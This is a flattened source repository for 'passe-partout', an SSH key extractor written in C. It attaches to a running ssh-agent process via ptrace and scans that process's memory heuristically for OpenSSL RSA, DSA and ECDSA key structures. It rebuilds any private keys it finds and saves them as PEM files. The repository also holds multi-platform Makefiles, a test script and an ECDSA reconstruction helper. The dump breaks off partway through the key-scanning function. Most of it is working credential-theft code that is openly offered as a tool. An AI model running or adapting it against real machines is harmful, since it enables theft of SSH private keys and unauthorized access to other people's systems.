├── passe-partout-0.1 ├── Makefile.Linux ├── Makefile.NetBSD ├── Makefile.macosx ├── Makefile.DragonFly ├── Makefile.OpenBSD ├── Makefile.freebsd ├── Makefile.hpux-parisc ├── Makefile ├── build.sh ├── Makefile.hpux-generic ├── Makefile.SunOS ├── Makefile.main ├── README ├── reconstruct-ecdsa.py ├── Makefile.Darwin ├── test.sh ├── match_private_key.rb ├── dbg.h ├── passe-partout.c └── dbg.c ├── backup └── passe-partout-0.1.tar.gz ├── .gitignore ├── README.md └── README.extended /passe-partout-0.1/Makefile.Linux: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_LINUX -DDBG_PTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.NetBSD: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_NETBSD -DDBG_PTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.macosx: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_MACOSX -DDBG_PTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.DragonFly: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_FREEBSD -DDBG_PTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.OpenBSD: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_OPENBSD -DDBG_PTRACE -g 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.freebsd: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_FREEBSD -DDBG_PTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.hpux-parisc: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_HPUX -DDBG_TTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | ./build.sh 3 | 4 | clean: 5 | make -f Makefile.main clean 6 | 7 | -------------------------------------------------------------------------------- /passe-partout-0.1/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | make -f Makefile.`uname` clean 3 | make -f Makefile.`uname` 4 | -------------------------------------------------------------------------------- /backup/passe-partout-0.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kholia/passe-partout/HEAD/backup/passe-partout-0.1.tar.gz -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.hpux-generic: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_HPUX -DDBG_PTRACE -DDBG_TTRACE 2 | include ./Makefile.main 3 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.SunOS: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_SOLARIS -DDBG_PTRACE -I/usr/local/ssl/include 2 | LDFLAGS=-L/usr/local/ssl/lib -lcrypto 3 | include ./Makefile.main 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | 4 | # Libraries 5 | *.lib 6 | *.a 7 | 8 | # Shared objects (inc. Windows DLLs) 9 | *.dll 10 | *.so 11 | *.so.* 12 | *.dylib 13 | 14 | # Executables 15 | *.exe 16 | *.out 17 | *.app 18 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.main: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | BIN=passe-partout 3 | OBJS=dbg.o $(BIN).o 4 | LDFLAGS=-lcrypto 5 | 6 | all: $(LIB) $(BIN) 7 | 8 | $(BIN): $(OBJS) 9 | $(CC) $(CFLAGS) -o $@ $(OBJS) $(LDFLAGS) 10 | 11 | %.o: %.c 12 | $(CC) $(CFLAGS) -Wall -g -o $@ -c $< 13 | 14 | clean: 15 | rm -f $(OBJS) $(BIN) 16 | 17 | -------------------------------------------------------------------------------- /passe-partout-0.1/README: -------------------------------------------------------------------------------- 1 | 2 | Passe partout v0.1 3 | 4 | More information may be found at the following URLs: 5 | http://www.hsc.fr/ressources/breves/passe-partout.html.en 6 | http://www.hsc.fr/ressources/breves/passe-partout.html.fr 7 | 8 | License: 9 | Beerware 10 | 11 | Authors: 12 | Nicolas Collignon 13 | Jean-Baptiste Aviat 14 | -------------------------------------------------------------------------------- /passe-partout-0.1/reconstruct-ecdsa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # pip install --user pycryptodome 4 | 5 | from Crypto.PublicKey import ECC 6 | import sys 7 | 8 | if len(sys.argv) < 2: 9 | sys.stderr.write("Usage: %s priv_key value>\n" % sys.argv[0]) 10 | sys.exit(-1) 11 | 12 | o = ECC.construct(curve='P-256', d=int(sys.argv[1])) 13 | print o.export_key(format="PEM") 14 | -------------------------------------------------------------------------------- /passe-partout-0.1/Makefile.Darwin: -------------------------------------------------------------------------------- 1 | CFLAGS=-DDBG_DARWIN -DDBG_PTRACE -I/usr/local/opt/openssl/include 2 | LDFLAGS=-L/usr/local/opt/openssl/lib -lcrypto 3 | 4 | CC=gcc 5 | BIN=passe-partout 6 | OBJS=dbg.o $(BIN).o 7 | 8 | all: $(LIB) $(BIN) 9 | 10 | $(BIN): $(OBJS) 11 | $(CC) $(CFLAGS) -o $@ $(OBJS) $(LDFLAGS) 12 | 13 | %.o: %.c 14 | $(CC) $(CFLAGS) -Wall -g -o $@ -c $< 15 | 16 | clean: 17 | rm -f $(OBJS) $(BIN) 18 | -------------------------------------------------------------------------------- /passe-partout-0.1/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | AGENT="ssh-agent" 4 | DUMPER="./passe-partout" 5 | 6 | if [ -f id_dsa ] ; then 7 | echo "Found dsa private key file" ; 8 | else 9 | ssh-keygen -t dsa -f id_dsa -N "" ; 10 | fi 11 | 12 | if [ -f id_rsa ] ; then 13 | echo "Found rsa private key file" ; 14 | else 15 | ssh-keygen -t rsa -f id_rsa -N "" ; 16 | fi 17 | 18 | eval `$AGENT` 19 | 20 | ssh-add id_dsa 21 | ssh-add id_rsa 22 | 23 | ssh-add -l 24 | 25 | rm $DUMPER $DUMPER.o 26 | make 27 | 28 | cat > gdbcmd.txt < 6 | #endif 7 | #include 8 | 9 | /* 10 | typedef struct _linux_regs32 { 11 | u_int32_t ebx, ecx, edx, esi, edi, ebp, eax; 12 | u_int16_t ds, __ds, es, __es; 13 | u_int16_t fs, __fs, gs, __gs; 14 | u_int32_t orig_eax, eip; 15 | u_int16_t cs, __cs; 16 | u_int32_t eflags, esp; 17 | u_int16_t ss, __ss; 18 | } linux_regs32_t; 19 | */ 20 | 21 | typedef struct user_regs_struct registers_t; 22 | typedef struct _proc proc_t; 23 | 24 | #define DBGMAP_READ 1 25 | #define DBGMAP_WRITE 2 26 | #define DBGMAP_EXEC 4 27 | #define DBGMAP_SHARED 8 28 | 29 | typedef struct _mapping { 30 | struct _mapping *next; 31 | //char *base; 32 | unsigned long address; 33 | unsigned int size; 34 | int flags; 35 | const char *name; 36 | proc_t *proc; 37 | char * data; 38 | } mapping_t; 39 | 40 | #define DBGPROC_TRACED 1 41 | 42 | struct _proc { 43 | pid_t pid; 44 | int flags; 45 | #ifdef DBG_SOLARIS 46 | int mem_fd; 47 | #endif 48 | mapping_t *maps; 49 | char pid_str[8]; 50 | }; 51 | 52 | typedef unsigned long xaddr_t; 53 | 54 | int dbg_init(proc_t *, pid_t); 55 | void dbg_exit(proc_t *); 56 | 57 | int dbg_find_stack(proc_t *, xaddr_t *, unsigned int *); 58 | int dbg_find_heap(proc_t *, xaddr_t *, unsigned int *); 59 | 60 | #define DBGMODE_READ 0 61 | #define DBGMODE_WRITE 1 62 | #define DBGMODE_EXEC 2 63 | 64 | int dbg_attach(proc_t *, int); 65 | void dbg_detach(proc_t *); 66 | 67 | int dbg_get_regs(proc_t *, void *); 68 | int dbg_set_regs(proc_t *, const void *); 69 | 70 | int dbg_continue(proc_t *); 71 | 72 | int dbg_read(proc_t *, xaddr_t, void *, unsigned int); 73 | int dbg_write(proc_t *, xaddr_t, const void *, unsigned int); 74 | 75 | int dbg_maps_lookup(proc_t *, int, const char *, mapping_t ***); 76 | mapping_t *dbg_map_lookup(proc_t *, int, const char *); 77 | mapping_t *dbg_map_get_stack(proc_t *); 78 | mapping_t *dbg_map_get_default_heap(proc_t *); 79 | mapping_t *dbg_map_get_bincode(proc_t *); 80 | mapping_t *dbg_map_get_bindata(proc_t *); 81 | mapping_t *dbg_map_get_libcode(proc_t *, const char *); 82 | mapping_t *dbg_map_get_libdata(proc_t *, const char *); 83 | mapping_t *dbg_map_lookup_by_address(proc_t *, xaddr_t, unsigned int *); 84 | int dbg_map_cache(mapping_t *); 85 | 86 | #define dbg_map_for_each(proc, map) \ 87 | for (map=(proc)->maps; map; map=map->next) 88 | 89 | char *dbg_get_binpath(proc_t *); 90 | 91 | void *dbg_xlate_ptr(proc_t *, xaddr_t); 92 | 93 | int dbg_read_ptr(proc_t *, xaddr_t, xaddr_t *); 94 | 95 | #define DBGSTR_ASCII 0 96 | #define DBGSTR_8BITS 1 97 | 98 | char *dbg_read_string(proc_t *, int, xaddr_t); 99 | 100 | int dbg_call(proc_t *, xaddr_t, long *, unsigned int, const long *); 101 | 102 | xaddr_t dbg_resolve(proc_t *, const char *, const char *); 103 | 104 | int dbg_call_lib(proc_t *, const char *, const char *, long *, 105 | unsigned int, const long *); 106 | 107 | int dbg_get_memory(proc_t *p); 108 | void dbg_free_memory(proc_t *p); 109 | 110 | /* remote heap helpers ***/ 111 | xaddr_t dbg_malloc(proc_t *, unsigned int); 112 | xaddr_t dbg_calloc(proc_t *, unsigned int, unsigned int); 113 | xaddr_t dbg_malloc0(proc_t *, unsigned int); 114 | xaddr_t dbg_memdup(proc_t *, void *, unsigned int); 115 | void dbg_free(proc_t *, xaddr_t); 116 | 117 | /* memory pattern lookup */ 118 | typedef int (*bmatch_func_t)(xaddr_t, void *, unsigned int, void *); 119 | 120 | int dbg_lookup_pattern(mapping_t *, xaddr_t, xaddr_t, const char *, 121 | bmatch_func_t, void *); 122 | 123 | #define DBGPATTERN_UNIQUE 0 124 | #define DBGPATTERN_FIRST 1 125 | #define DBGPATTERN_LAST 2 126 | 127 | int dbg_lookup_one_pattern(mapping_t *, xaddr_t, xaddr_t, const char *, 128 | int, xaddr_t *, void **, unsigned int *); 129 | 130 | /* misc helpers ***/ 131 | int dbg_read_file(const char *, unsigned int, void **, unsigned int *); 132 | 133 | /* errors */ 134 | const char *dbg_error(int); 135 | #ifndef DBG_NO_STDIO 136 | void dbg_fprint_err(FILE *, int); 137 | #endif 138 | 139 | #define DBGERR_GENERIC -1 140 | #define DBGERR_ENOMEM -2 141 | #define DBGERR_BAD_PID -3 142 | #define DBGERR_ENOPERM -4 143 | #define DBGERR_ALREADY_ATTACHED -5 144 | #define DBGERR_TARGET_KILLED -6 145 | #define DBGERR_NOT_IMPLEMENTED -7 146 | #define DBGERR_TOO_SMALL -8 147 | #define DBGERR_RECURSIVE -9 148 | #define DBGERR_BAD_PATTERN1 -10 149 | #define DBGERR_BAD_PATTERN2 -11 150 | #define DBGERR_BAD_PATTERN3 -12 151 | #define DBGERR_BAD_PATTERN4 -13 152 | #define DBGERR_BAD_PATTERN5 -14 153 | #define DBGERR_BAD_PATTERN6 -15 154 | #define DBGERR_BAD_PATTERN7 -16 155 | #define DBGERR_BAD_PATTERN8 -17 156 | #define DBGERR_BAD_PATTERN9 -18 157 | #define DBGERR_BAD_PATTERN10 -19 158 | #define DBGERR_BAD_PATTERN11 -20 159 | #define DBGERR_BAD_PATTERN12 -21 160 | #define DBGERR_NOT_ATTACHED -22 161 | #define DBGERR_RESOLVE_SYMBOL -23 162 | #define DBGERR_MAP_NOT_FOUND -24 163 | #define DBGERR_MAP_TOO_BIG -25 164 | #define DBGERR_MAP_PTR_END -26 165 | 166 | #endif 167 | // vim: ts=3 sw=3 fdm=marker 168 | -------------------------------------------------------------------------------- /passe-partout-0.1/passe-partout.c: -------------------------------------------------------------------------------- 1 | /* SSH keys extractor */ 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include "dbg.h" 26 | 27 | #define MAX_KEYS 255 28 | 29 | static int verbose; 30 | 31 | static void err(proc_t *p, const char *fmt, ...) 32 | { 33 | va_list va; 34 | 35 | fputs("error: ", stderr); 36 | va_start(va, fmt); 37 | vfprintf(stderr, fmt, va); 38 | va_end(va); 39 | fputc('\n', stderr); 40 | dbg_detach(p); 41 | dbg_exit(p); 42 | exit(EXIT_FAILURE); 43 | } 44 | 45 | /* memory extraction functions {{{ */ 46 | 47 | /* returns 0 if the address seems to be valid 48 | -1 else. 49 | */ 50 | static int is_valid_address(unsigned long addr, proc_t *proc) { 51 | 52 | if ( ((long)addr) & (sizeof(char *)-1) ) 53 | return -1 ; 54 | 55 | return !dbg_map_lookup_by_address(proc, addr, NULL); 56 | } 57 | 58 | /* returns 0 if all addresses seems to be valid 59 | -1 else. 60 | */ 61 | static int might_be_RSA(RSA *rsa, proc_t *proc) { 62 | return 63 | rsa->pad || rsa->version || 64 | (rsa->references < 0) || (rsa->references > 0xff) || 65 | is_valid_address( (unsigned long) rsa->n, proc) || 66 | is_valid_address( (unsigned long) rsa->e, proc) || 67 | is_valid_address( (unsigned long) rsa->d, proc) || 68 | is_valid_address( (unsigned long) rsa->p, proc) || 69 | is_valid_address( (unsigned long) rsa->q, proc) || 70 | is_valid_address( (unsigned long) rsa->dmp1, proc) || 71 | is_valid_address( (unsigned long) rsa->dmq1, proc) || 72 | is_valid_address( (unsigned long) rsa->iqmp, proc); 73 | } 74 | 75 | /* returns 0 if all addresses seems to be valid 76 | -1 else. 77 | */ 78 | static int might_be_DSA(DSA *dsa, proc_t *proc) { 79 | return 80 | dsa->pad || dsa->version || 81 | (dsa->references < 0) || (dsa->references > 0xff) || 82 | is_valid_address( (unsigned long) dsa->p, proc) || 83 | is_valid_address( (unsigned long) dsa->q, proc) || 84 | is_valid_address( (unsigned long) dsa->g, proc) || 85 | is_valid_address( (unsigned long) dsa->priv_key, proc) || 86 | is_valid_address( (unsigned long) dsa->pub_key, proc) || 87 | // pre-calc -> may be NULL 88 | (dsa->kinv && is_valid_address( (unsigned long) dsa->kinv, proc)) || 89 | (dsa->r && is_valid_address( (unsigned long) dsa->r, proc)); 90 | } 91 | 92 | /* from crypto/ec/ec_lcl.h 93 | struct ec_key_st { 94 | int version; 95 | 96 | EC_GROUP *group; 97 | 98 | EC_POINT *pub_key; 99 | BIGNUM *priv_key; 100 | 101 | unsigned int enc_flag; 102 | point_conversion_form_t conv_form; 103 | 104 | int references; 105 | int flags; 106 | 107 | EC_EXTRA_DATA *method_data; 108 | } // EC_KEY */ 109 | 110 | // hack 111 | typedef enum { 112 | POINT_CONVERSION_COMPRESSED_ = 2, 113 | } point_conversion_form_t_; 114 | 115 | typedef struct ec_key_st_ { 116 | int version; 117 | 118 | void *group; 119 | 120 | void *pub_key; 121 | void *priv_key; 122 | 123 | unsigned int enc_flag; 124 | point_conversion_form_t_ conv_form; 125 | 126 | int references; 127 | int flags; 128 | 129 | void *method_data; 130 | } EC_KEY_; 131 | 132 | /* returns 0 if all addresses seems to be valid 133 | -1 else. 134 | */ 135 | static int might_be_ECDSA(EC_KEY_ *ecdsa, proc_t *proc) { 136 | return 137 | (ecdsa->version != 1) || 138 | (!(ecdsa->conv_form == 4 || ecdsa->conv_form == 4 || ecdsa->conv_form == 6)) || // crypto/ec/ec.h 139 | (ecdsa->references < 0) || (ecdsa->references > 0xff) || 140 | is_valid_address( (unsigned long) ecdsa->group, proc) || 141 | is_valid_address( (unsigned long) ecdsa->pub_key, proc) || 142 | is_valid_address( (unsigned long) ecdsa->priv_key, proc) || 143 | is_valid_address( (unsigned long) ecdsa->priv_key, proc); 144 | } 145 | 146 | static void *extract_from_mem(void *addr, unsigned int size, proc_t *proc) { 147 | mapping_t *map; 148 | unsigned int off; 149 | 150 | map = dbg_map_lookup_by_address(proc, (xaddr_t)addr, &off); 151 | if (!map || !map->data) 152 | return NULL; 153 | 154 | return map->data + off; 155 | } 156 | 157 | static int is_valid_BN(BIGNUM *bn) { 158 | 159 | printf("BN { d=%p, top=%i, dmax=%i, neg=%i, flags=%i }\n", 160 | bn->d, bn->top, bn->dmax, bn->neg, bn->flags); 161 | if ( bn->dmax < 0 || bn->top < 0 || bn->dmax < bn->top ) 162 | return -1; 163 | 164 | if ( !(bn->neg == 1 || bn->neg == 0 ) ) { 165 | return -1; 166 | } 167 | return 0; 168 | } 169 | /* 170 | struct bignum_st 171 | { 172 | BN_ULONG *d; Pointer to an array of 'BN_BITS2' bit chunks. 173 | int top; Index of last used d +1. 174 | The next are internal book keeping for bn_expand. 175 | int dmax; Size of the d array. 176 | int neg; one if the number is negative 177 | int flags; 178 | }; 179 | 180 | Extract a BIGNUM structure from memory. 181 | Set error to 1 if an error occured, else set it to 0. 182 | */ 183 | 184 | BIGNUM * BN_extract_from_mem(void * bn_addr, proc_t * proc, int * error) { 185 | BIGNUM *bn_tmp; 186 | 187 | *error = 0; 188 | //printf("=a= %p\n", bn_addr); 189 | bn_tmp = extract_from_mem( bn_addr, sizeof(BIGNUM), proc); 190 | if (!bn_tmp) { 191 | //printf("=z=\n"); 192 | *error = 1; 193 | return NULL; 194 | } 195 | BIGNUM *bn = malloc(sizeof(BIGNUM)); 196 | if ( bn == NULL ) { 197 | exit(EXIT_FAILURE); 198 | } 199 | memcpy(bn, bn_tmp, sizeof(BIGNUM)); 200 | /* tests heuristiques */ 201 | if ( is_valid_BN(bn) == -1 ) { 202 | *error = 1; 203 | free(bn); 204 | return NULL; 205 | } 206 | 207 | //printf("=b=\n"); 208 | bn->d = extract_from_mem( bn->d, bn->top * sizeof(BN_ULONG), proc); 209 | if (!bn->d) { 210 | *error = 1; 211 | free(bn); 212 | return NULL; 213 | } 214 | //printf("=c=\n"); 215 | return bn; 216 | } 217 | /* }}} */ 218 | 219 | /* key saving {{{ */ 220 | 221 | /* returns 0 if file does not exist 222 | 1 if file exists */ 223 | static int file_exists(char *filename) { 224 | struct stat stat_st; 225 | return !stat(filename, &stat_st); 226 | } 227 | 228 | char * get_valid_filename(char *string) { 229 | int i = 0 ; 230 | char filename[128] ; 231 | sprintf(filename, "%s-%d.key", string, i); 232 | while ( file_exists(filename) && i < MAX_KEYS ) { 233 | i++; 234 | sprintf(filename, "%s-%d.key", string, i); 235 | } 236 | if ( i >= MAX_KEYS ) 237 | return NULL ; 238 | 239 | 240 | return strdup(filename); 241 | } 242 | 243 | int write_rsa_key(RSA * rsa, char *prefix) { 244 | 245 | char *filename = get_valid_filename(prefix) ; 246 | 247 | FILE *f = fopen(filename, "w"); 248 | if ( f == NULL ) { 249 | perror("fopen"); 250 | return -1; 251 | } 252 | if ( ! PEM_write_RSAPrivateKey(f, rsa, NULL, 253 | NULL, 0, NULL, NULL) ) { 254 | fprintf(stderr, "Error saving key to file %s\n", filename); 255 | return -1; 256 | } 257 | fclose(f); 258 | printf("[X] Key saved to file %s\n", filename); 259 | free(filename); 260 | return 0; 261 | } 262 | 263 | 264 | int write_dsa_key(DSA * dsa, char *prefix) { 265 | 266 | char *filename = get_valid_filename(prefix) ; 267 | 268 | FILE *f = fopen(filename, "w"); 269 | if ( f == NULL ) { 270 | perror("fopen"); 271 | return -1; 272 | } 273 | if ( ! PEM_write_DSAPrivateKey(f, dsa, NULL, 274 | NULL, 0, NULL, NULL) ) { 275 | fprintf(stderr, "Error saving key to file %s\n", filename); 276 | return -1; 277 | } 278 | fclose(f); 279 | printf("[X] Key saved to file %s\n", filename); 280 | free(filename); 281 | return 0; 282 | } 283 | 284 | int write_ecdsa_key(EC_KEY_ * ecdsa, char *prefix) { 285 | 286 | char *filename = get_valid_filename(prefix) ; 287 | 288 | FILE *f = fopen(filename, "w"); 289 | if ( f == NULL ) { 290 | perror("fopen"); 291 | return -1; 292 | } 293 | if ( ! PEM_write_ECPrivateKey(f, (EC_KEY*)ecdsa, NULL, 294 | NULL, 0, NULL, NULL) ) { 295 | fprintf(stderr, "Error saving key to file %s\n", filename); 296 | return -1; 297 | } 298 | fclose(f); 299 | printf("[X] Key saved to file %s\n", filename); 300 | free(filename); 301 | return 0; 302 | } 303 | 304 | /* key saving }}} */ 305 | 306 | /* key extraction {{{ */ 307 | 308 | int extract_rsa_key(RSA *rsa, proc_t *p) { 309 | 310 | int error = 0; 311 | 312 | if ( verbose > 1 ) { 313 | printf("RSA { pad=%i, ver=%li, ref=%i, flags=%i, engine=%p\n" 314 | " n=%p, e=%p, d=%p, p=%p, q=%p\n" 315 | " dmp1=%p, dmq1=%p, iqmp=%p, bn_data=%p\n" 316 | " blinding=%p, mont_bn=%p/%p/%p }\n", 317 | rsa->pad, rsa->version, rsa->references, rsa->flags, rsa->engine, 318 | rsa->n, rsa->e, rsa->d, rsa->p, rsa->q, rsa->dmp1, rsa->dmq1, 319 | rsa->iqmp, rsa->bignum_data, rsa->blinding, 320 | rsa->_method_mod_n, rsa->_method_mod_p, rsa->_method_mod_q); 321 | } 322 | 323 | rsa->n = BN_extract_from_mem(rsa->n, p, &error); 324 | if ( error ) return -1; 325 | rsa->e = BN_extract_from_mem(rsa->e, p, &error); 326 | if ( error ) { goto free_n; } 327 | rsa->d = BN_extract_from_mem(rsa->d, p, &error); 328 | if ( error ) { goto free_e; } 329 | rsa->p = BN_extract_from_mem(rsa->p, p, &error); 330 | if ( error ) { goto free_d; } 331 | rsa->q = BN_extract_from_mem(rsa->q, p, &error); 332 | if ( error ) { goto free_p; } 333 | rsa->dmp1 = BN_extract_from_mem(rsa->dmp1, p, &error); 334 | if ( error ) { goto free_q; } 335 | rsa->dmq1 = BN_extract_from_mem(rsa->dmq1, p, &error); 336 | if ( error ) { goto free_dmp1; } 337 | rsa->iqmp = BN_extract_from_mem(rsa->iqmp, p, &error); 338 | if ( error ) { goto free_dmq1; } 339 | 340 | rsa->meth = NULL; 341 | rsa->_method_mod_n = NULL; 342 | rsa->_method_mod_p = NULL; 343 | rsa->_method_mod_q = NULL; 344 | rsa->bignum_data = NULL; 345 | rsa->blinding = NULL; 346 | //#if OPENSSL_VERSION_NUMBER > 347 | //rsa->mt_blinding = NULL; 348 | //#endif 349 | 350 | switch ( RSA_check_key( rsa )) { 351 | case 1 : 352 | return 0; 353 | case 0 : 354 | if (verbose > 1) 355 | fprintf(stderr, "warn: invalid RSA key found.\n"); 356 | break; 357 | case -1 : 358 | if (verbose > 1) 359 | fprintf(stderr, "warn: unable to check key.\n"); 360 | break; 361 | } 362 | 363 | free(rsa->iqmp); 364 | free_dmq1 : 365 | free(rsa->dmq1); 366 | free_dmp1 : 367 | free(rsa->dmp1); 368 | free_q : 369 | free(rsa->q); 370 | free_p : 371 | free(rsa->p); 372 | free_d : 373 | free(rsa->d); 374 | free_e : 375 | free(rsa->e); 376 | free_n : 377 | free(rsa->n); 378 | 379 | return -1 ; 380 | } 381 | 382 | void free_rsa_key(RSA *rsa) { 383 | free(rsa->iqmp); 384 | free(rsa->dmq1); 385 | free(rsa->dmp1); 386 | free(rsa->q); 387 | free(rsa->p); 388 | free(rsa->d); 389 | free(rsa->e); 390 | free(rsa->n); 391 | } 392 | /* 393 | struct 394 | { 395 | BIGNUM *p; // prime number (public) 396 | BIGNUM *q; // 160-bit subprime, q | p-1 (public) 397 | BIGNUM *g; // generator of subgroup (public) 398 | BIGNUM *priv_key; // private key x 399 | BIGNUM *pub_key; // public key y = g^x 400 | // ... 401 | } 402 | DSA; 403 | */ 404 | 405 | int extract_dsa_key( DSA * dsa, proc_t *p ) { 406 | int error; 407 | 408 | if ( verbose > 1 ) { 409 | printf("DSA { pad=%i, ver=%li, ref=%i, flags=%i, engine=%p\n" 410 | " p=%p, q=%p, g=%p, pubkey=%p, pvkey=%p\n" 411 | " kinv=%p, r=%p, mont_p=%p, meth=%p }\n", 412 | dsa->pad, dsa->version, dsa->references, dsa->flags, dsa->engine, 413 | dsa->p, dsa->q, dsa->g, dsa->pub_key, dsa->priv_key, dsa->kinv, 414 | dsa->r, dsa->method_mont_p, dsa->meth); 415 | } 416 | 417 | dsa->priv_key = BN_extract_from_mem(dsa->priv_key, p, &error); 418 | if ( error ) return -1; 419 | 420 | dsa->pub_key = BN_extract_from_mem(dsa->pub_key, p, &error); 421 | if ( error ) goto free_priv_key; 422 | dsa->p = BN_extract_from_mem(dsa->p, p, &error); 423 | if ( error ) goto free_pub_key; 424 | dsa->q = BN_extract_from_mem(dsa->q, p, &error); 425 | if ( error ) goto free_p; 426 | dsa->g = BN_extract_from_mem(dsa->g, p, &error); 427 | if ( error ) goto free_q; 428 | dsa->kinv = BN_extract_from_mem(dsa->kinv, p, &error); 429 | if ( error ) dsa->kinv = NULL; 430 | dsa->r = BN_extract_from_mem(dsa->r, p, &error); 431 | if ( error ) dsa->r = NULL; 432 | 433 | dsa->method_mont_p = NULL; 434 | dsa->meth = NULL; 435 | dsa->engine = NULL; 436 | 437 | /* in DSA, we should have : 438 | * pub_key = g^priv_key mod p 439 | */ 440 | BIGNUM * res = BN_new(); 441 | if ( res == NULL ) 442 | err(p, "failed to allocate result BN"); 443 | 444 | BN_CTX * ctx = BN_CTX_new(); 445 | if ( ctx == NULL ) { 446 | fprintf(stderr, "[-] error allocating BN_CTX ctx\n"); 447 | goto free_res; 448 | } 449 | /* a ^ p % m 450 | int BN_mod_exp(BIGNUM *r, BIGNUM *a, const BIGNUM *p, 451 | const BIGNUM *m, BN_CTX *ctx); 452 | */ 453 | error = BN_mod_exp(res, dsa->g, dsa->priv_key, dsa->p, ctx); 454 | if ( error == 0 ) { 455 | if (verbose > 0) 456 | fprintf(stderr, "warn: failed to check DSA key.\n"); 457 | goto free_ctx; 458 | } 459 | if ( BN_cmp(res, dsa->pub_key) != 0 ) { 460 | if (verbose > 0) 461 | fprintf(stderr, "warn: invalid DSA key.\n"); 462 | goto free_ctx; 463 | } 464 | BN_clear_free(res); 465 | BN_CTX_free(ctx); 466 | 467 | fprintf(stderr, "[X] Valid DSA key found.\n"); 468 | 469 | return 0; 470 | 471 | 472 | free_ctx: 473 | BN_CTX_free(ctx); 474 | free_res: 475 | BN_free(res); 476 | if ( dsa->r != NULL ) { free(dsa->r); } 477 | if ( dsa->kinv != NULL ) { free(dsa->kinv); } 478 | free(dsa->g); 479 | free_q: 480 | free(dsa->q); 481 | free_p: 482 | free(dsa->p); 483 | free_pub_key: 484 | free(dsa->pub_key); 485 | free_priv_key: 486 | free(dsa->priv_key); 487 | 488 | return -1; 489 | 490 | } 491 | 492 | void free_dsa_key(DSA *dsa) { 493 | if ( dsa->r != NULL ) { free(dsa->r); } 494 | if ( dsa->kinv != NULL ) { free(dsa->kinv); } 495 | free(dsa->g); 496 | free(dsa->q); 497 | free(dsa->p); 498 | free(dsa->pub_key); 499 | free(dsa->priv_key); 500 | } 501 | 502 | int extract_ecdsa_key( EC_KEY_ * ecdsa, proc_t *p ) { 503 | int error; 504 | 505 | ecdsa->priv_key = BN_extract_from_mem(ecdsa->priv_key, p, &error); 506 | if ( error ) goto err; 507 | char *out = BN_bn2dec(ecdsa->priv_key); 508 | fprintf(stderr, "[X] Valid ECDSA key found.\n"); 509 | printf("ecdsa->priv_key == %s, use reconstruct-ecdsa.py script to reconstruct key!\n", out); 510 | 511 | return 0; 512 | 513 | err: 514 | return -1; 515 | } 516 | 517 | /* }}} */ 518 | 519 | static void find_keys(mapping_t *map, unsigned int off, unsigned int end) 520 | { 521 | const char *data; 522 | proc_t *p; 523 | unsigned int j; 524 | RSA rsa; 525 | DSA dsa; 526 | EC_KEY_ ecdsa; 527 | 528 | p = map->proc; 529 | data = map->data; 530 | 531 | if (verbose > 0) { 532 | printf("scanning 0x%lx --> 0x%lx %s\n", 533 | map->address+off, map->address+end, map->name); 534 | } 535 | 536 | for ( j = off; j <= end; j+=sizeof(char*)) { 537 | 538 | if (verbose > 1) 539 | printf("checking 0x%lx\n", map->address+j); 540 | 541 | if ( j <= map->size - sizeof(RSA) ) { 542 | memcpy(&rsa, data + j, sizeof(RSA)); 543 | 544 | if ( might_be_RSA(&rsa, p) == 0 ) { 545 | 546 | if ( ! extract_rsa_key(&rsa, p) ) { 547 | printf("found RSA key @ 0x%lx\n", map->address+j); 548 | write_rsa_key(&rsa, "id_rsa"); 549 | free_rsa_key(&rsa); 550 | continue ; 551 | } 552 | } 553 | } 554 | 555 | if ( j <= map->size - sizeof(DSA) ) { 556 | memcpy(&dsa, data + j, sizeof(DSA)); 557 | 558 | //printf("==A==\n"); 559 | if ( might_be_DSA(&dsa, p) == 0 ) { 560 | //printf("==B==\n"); 561 | 562 | if ( ! extract_dsa_key(&dsa, p) > 0 ) { 563 | printf("found DSA key @ 0x%lx\n", map->address+j); 564 | write_dsa_key(&dsa, "id_dsa"); 565 | free_dsa_key(&dsa); 566 | continue ; 567 | } 568 | } 569 | } 570 | 571 | if ( j <= map->size - sizeof(EC_KEY_) ) { // these structures can change, modify according to your openssl version! 572 | memcpy(&ecdsa, data + j, sizeof(EC_KEY_)); 573 | if ( might_be_ECDSA(&ecdsa, p) == 0 ) { 574 | printf("Hit for %lx, version %d, conv_form %d!\n", map->address+j, ecdsa.version, ecdsa.conv_form); 575 | if ( ! extract_ecdsa_key(&ecdsa, p) ) { 576 | printf("found ECDSA key @ 0x%lx\n", map->address+j); 577 | // write_ecdsa_key(&ecdsa, "id_ecdsa"); 578 | // free_ecdsa_key(&ecdsa); 579 | continue ; 